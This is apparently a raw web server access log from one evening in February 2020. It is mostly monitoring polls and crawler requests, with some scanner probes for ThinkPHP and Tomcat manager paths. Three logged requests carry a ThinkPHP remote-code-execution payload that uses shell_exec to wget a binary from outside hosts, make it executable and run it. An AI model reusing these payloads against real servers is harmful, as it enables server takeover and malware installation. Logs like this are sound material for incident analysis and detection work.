212.91.246.72 - - [24/Feb/2020:18:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.109.129.108 - - [24/Feb/2020:18:27:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
108.59.8.80 - - [24/Feb/2020:18:27:57 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
108.59.8.80 - - [24/Feb/2020:18:28:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [24/Feb/2020:18:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.79.255.19 - - [24/Feb/2020:18:32:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.246.164.163 - - [24/Feb/2020:18:33:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
122.51.132.72 - - [24/Feb/2020:18:34:22 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.132.72 - - [24/Feb/2020:18:34:23 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.132.72 - - [24/Feb/2020:18:34:23 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.132.72 - - [24/Feb/2020:18:34:24 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.132.72 - - [24/Feb/2020:18:34:24 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
45.143.220.189 - - [24/Feb/2020:18:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
122.51.132.72 - - [24/Feb/2020:18:34:24 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.132.72 - - [24/Feb/2020:18:34:26 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.132.72 - - [24/Feb/2020:18:34:26 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.51.132.72 - - [24/Feb/2020:18:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [24/Feb/2020:18:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:18:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:18:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:18:43:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:18:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:18:44:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:18:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.68.93.158 - - [24/Feb/2020:18:45:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.68.93.158 - - [24/Feb/2020:18:45:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:18:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.172.52.189 - - [24/Feb/2020:18:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
164.160.125.251 - - [24/Feb/2020:18:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:18:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [24/Feb/2020:18:48:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:18:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.172.59.38 - - [24/Feb/2020:18:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:18:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.126.49.32 - - [24/Feb/2020:19:02:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
195.158.93.59 - - [24/Feb/2020:19:03:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:19:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [24/Feb/2020:19:21:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:19:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.188.180.50 - - [24/Feb/2020:19:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:19:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.233.122.195 - - [24/Feb/2020:19:42:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:19:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.221.77 - - [24/Feb/2020:19:43:51 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.77 - - [24/Feb/2020:19:44:19 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:19:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.221.77 - - [24/Feb/2020:19:46:24 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:19:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.204.209.184 - - [24/Feb/2020:19:46:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
192.241.221.77 - - [24/Feb/2020:19:47:08 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:19:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.221.77 - - [24/Feb/2020:19:48:04 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.77 - - [24/Feb/2020:19:48:06 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.77 - - [24/Feb/2020:19:48:08 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.221.77 - - [24/Feb/2020:19:48:20 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:19:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.74 - - [24/Feb/2020:19:49:25 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.219 - - [24/Feb/2020:19:49:26 +0100] "GET /seiten/produkte.htm HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [24/Feb/2020:19:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.187.240.149 - - [24/Feb/2020:19:52:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:19:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:19:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.145.209.11 - - [24/Feb/2020:20:03:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:20:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:20:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:20:20:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:20:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
